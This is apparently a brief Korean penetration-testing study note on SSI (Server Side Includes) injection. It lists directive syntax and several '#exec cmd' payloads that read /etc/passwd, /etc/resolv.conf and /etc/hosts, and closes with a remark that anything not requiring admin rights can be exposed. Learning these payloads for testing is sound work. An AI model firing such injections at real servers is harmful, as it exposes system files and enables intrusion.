▶ 모의 해킹

2. SSI(Server Side Includes) Injection

호롤롤로루 2022. 9. 27. 10:29

<!-- element attribute= value"-->

<!-- echo var = "DATE_LOCAL"--> 

 

 

<!-- #exec cmd = "cat /etc/passwd"--> 
<!-- #exec cmd = "cat /etc/resolv.conf"--> 
<!-- #exec cmd = "cat /etc/passwd"--> 
<!-- #exec cmd = "cat /etc/hosts"--> 

 

관리자 권한 없는건 다 까볼 수 있음  그래서 무섭다.